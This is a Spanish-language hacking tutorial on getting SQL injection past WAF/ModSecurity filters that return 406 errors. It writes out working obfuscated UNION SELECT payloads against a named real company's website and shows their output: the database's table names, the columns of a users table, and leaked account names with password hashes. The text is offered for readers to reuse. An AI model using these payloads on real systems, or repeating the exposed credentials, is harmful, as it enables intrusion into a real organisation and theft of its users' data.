406 Not Acceptable Error Bypass SQL Injection

406 Not Acceptable

Hola soy Jeudy Martin Talavera Castro:

Les vengo a ensenar a como hacer que MySQL Injection funcione en servidores que esten protegidos con WAF/IPS
Lo primero seria encontrar nuestra pagina web protegida con WAF y probrar las siguientes lineas de sintaxis SQL
para que vean como mostrar las tablas de la base de datos MySQL mostrar las columnas de una tabla especifica
en hex coding y por ultimo como mostrar la informacion de la tabla de la base de datos MySQL que podamos
ver sus datos no solamente mostrar las tablas y las columns :')


Mostrar todas las tablas de la base de datos y si filtra group_concat() pobrar con limit 0,1
https://constructoracovin.com/ficha.php?id=-6 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,3,4,binary(group_concat(table_name)),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- --- -
banner,gal_pro,galeria,proyectos,terminados,usuarios
-- Tablas de la base de datos :'D
Mostras las columnas de la tabla usuarios
https://constructoracovin.com/ficha.php?id=-6 /*!50000%55nIoN*/ /*!50000%53eLeCt*/ 1,2,3,4,binary(group_concat(column_name)),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 /*!froM*/ /*!InfORmaTion_scHema*/.cOLUMns /*!WhERe*/ /*!TaBle_ScHEmA*/ like database() and table_name like 0x7573756172696f73-- --- -
ID,LOGIN,PWD,NOMBRE,ESTATUS
-- columnas de la tabla "usuarios"
Mostrar los datos de las tablas de la base de datos :')
https://constructoracovin.com/ficha.php?id=-6 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,3,4,binary(group_concat(id,0xa,login,0x3a,pwd)),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 /*!froM*/ usuarios
3 COVIN:53844635718f60011c67cf01eaa6a13e,4 INKADMIN:fd3f138ae5c4986cd66354a2a5dd4be2,5 DIANA:ca7669cfc26196d72f7d5297cf1bc606
-- Datos o informacion confidencial de la tabla de la base de datos xddd

lo que acabamos de hacer se llama WAF/Mod Security Bypass WebKnighT in SQL Injection

Aclaracion: Probe con SQL Map y Havij pero no funcionan solo tiran el nombre de la base de datos y mas no pueden
:')

Y espero que les funcione como a mi me funciono tambien el 403 Forbidden no se como hacerle un bypass pero
a este 406 Not Acceptable si puedo By JeuMTC